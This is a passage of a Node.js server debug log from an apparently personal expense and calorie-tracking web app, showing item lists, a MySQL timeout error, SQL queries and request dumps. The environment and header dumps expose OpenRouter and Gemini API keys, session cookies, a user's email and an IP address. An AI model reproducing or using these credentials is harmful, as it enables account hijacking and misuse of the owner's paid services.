  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 04:00:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 04:00:07' as DATETIME)"
}
2025-12-21T04:00:52.966Z server-connect:router Serving templateView /
2025-12-21T04:00:52.966Z server-connect:app Executing action step identify
2025-12-21T04:00:52.966Z server-connect:app options: { provider: 'security' }
2025-12-21T04:00:52.966Z server-connect:output identity: 1
2025-12-21T04:00:52.966Z server-connect:app Executing action step restrict
2025-12-21T04:00:52.966Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T04:00:52.968Z server-connect:output restrict: undefined
2025-12-21T04:00:52.968Z server-connect:app Executing action step restrict
2025-12-21T04:00:52.968Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T04:00:52.968Z server-connect:output restrict: undefined
2025-12-21T04:00:52.968Z server-connect:router Render template layouts/main
2025-12-21T04:00:52.969Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-21T04:00:53.649Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-21T04:00:53.650Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-21T04:00:53.650Z server-connect:app Executing action step identify
2025-12-21T04:00:53.650Z server-connect:app options: { provider: 'security' }
2025-12-21T04:00:53.650Z server-connect:output identity: 1
2025-12-21T04:00:53.650Z server-connect:app Executing action step restrict
2025-12-21T04:00:53.650Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T04:00:53.651Z server-connect:app Executing action step identify
2025-12-21T04:00:53.651Z server-connect:app options: { provider: 'security' }
2025-12-21T04:00:53.651Z server-connect:output identity: 1
2025-12-21T04:00:53.651Z server-connect:app Executing action step restrict
2025-12-21T04:00:53.651Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T04:00:53.651Z server-connect:output restrict: undefined
2025-12-21T04:00:53.651Z server-connect:app Executing action step select
2025-12-21T04:00:53.651Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-21T04:00:53.653Z server-connect:output restrict: undefined
2025-12-21T04:00:53.653Z server-connect:app Executing action step single
2025-12-21T04:00:53.653Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-21T04:00:53.658Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-21T04:00:53.660Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-21T04:00:56.178Z server-connect:router Serving templateView /calorie-tracker
2025-12-21T04:00:56.178Z server-connect:app Executing action step identify
2025-12-21T04:00:56.178Z server-connect:app options: { provider: 'security' }
2025-12-21T04:00:56.178Z server-connect:output identity: 1
2025-12-21T04:00:56.178Z server-connect:app Executing action step restrict
2025-12-21T04:00:56.178Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T04:00:56.179Z server-connect:output restrict: undefined
2025-12-21T04:00:56.179Z server-connect:router Render template calorie-tracker
2025-12-21T04:00:56.179Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
